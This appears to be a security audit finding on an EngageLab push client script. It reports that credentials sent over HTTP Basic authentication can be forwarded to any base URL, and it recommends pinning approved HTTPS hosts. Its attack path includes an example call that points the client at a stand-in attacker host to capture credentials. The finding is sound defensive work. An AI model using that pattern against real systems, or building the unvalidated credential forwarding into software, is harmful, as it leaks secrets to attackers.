T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/push_client.py:48
- Finding
- Basic authentication credentials can be transmitted to an arbitrary endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/push_client.py`, lines 48–68 **Vulnerability Type**: Unrestricted credential-bearing network destination **Risk Level**: High ### Vulnerable Code ```python def __init__(self, app_key: str, master_secret: str, base_url: str = BASE_URL): self._auth = (app_key, master_secret) self._headers = {"Content-Type": "application/json"} self._base_url = base_url.rstrip("/") def _request( self, method: str, path: str, payload: Optional[dict] = None, params: Optional[Any] = None, ) -> dict: url = f"{self._base_url}{path}" resp = requests.request( method, url, auth=self._auth, headers=self._headers, json=payload, params=params, ) ``` ### Technical Analysis The constructor accepts an unrestricted `base_url`, while `_request()` automatically attaches the AppKey and Master Secret through HTTP Basic authentication to every request. The code does not enforce HTTPS, validate the hostname, or restrict destinations to the four documented EngageLab API hosts. Supporting multiple EngageLab data centers does not require arbitrary destination support. A fixed mapping between data-center identifiers and approved HTTPS hosts would provide the declared functionality with less risk. Because Basic authentication transmits a reusable credential pair, an attacker-controlled endpoint can capture both credentials and API request data. Request payloads may also include notification contents, aliases, registration IDs, tags, schedules, or other operational information. ### Attack Path 1. An attacker influences application configuration, integration code, or user-provided parameters used to initialize the client. 2. The client is created with an attacker-controlled URL, such as: ```python client = EngageLabPush( app_key, master_secret, base_url="https://attacker.example" ) ``` 3. The application invokes any ...[truncated 1045 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Replace unrestricted `base_url` input with a data-center enumeration mapped to fixed hosts: - `pushapi-sgp.engagelab.com` - `pushapi-usva.engagelab.com` - `pushapi-defra.engagelab.com` - `pushapi-hk.engagelab.com` 2. Require the `https` scheme and reject embedded credentials, unexpected ports, IP literals, redirects to other hosts, and malformed hostnames. 3. If custom endpoints are needed for testing, require an explicit unsafe-development option and do not attach production credentials by default. 4. Normalize and validate the final hostname before each credential-bearing request. 5. Disable automatic cross-host authentication forwarding and validate redirect destinations, or disable redirects entirely. 6. Store credentials in a protected secret manager or environment variables rather than source code or user-controlled configuration. 7. Rotate any credentials that may already have been transmitted to an untrusted endpoint. ]]>
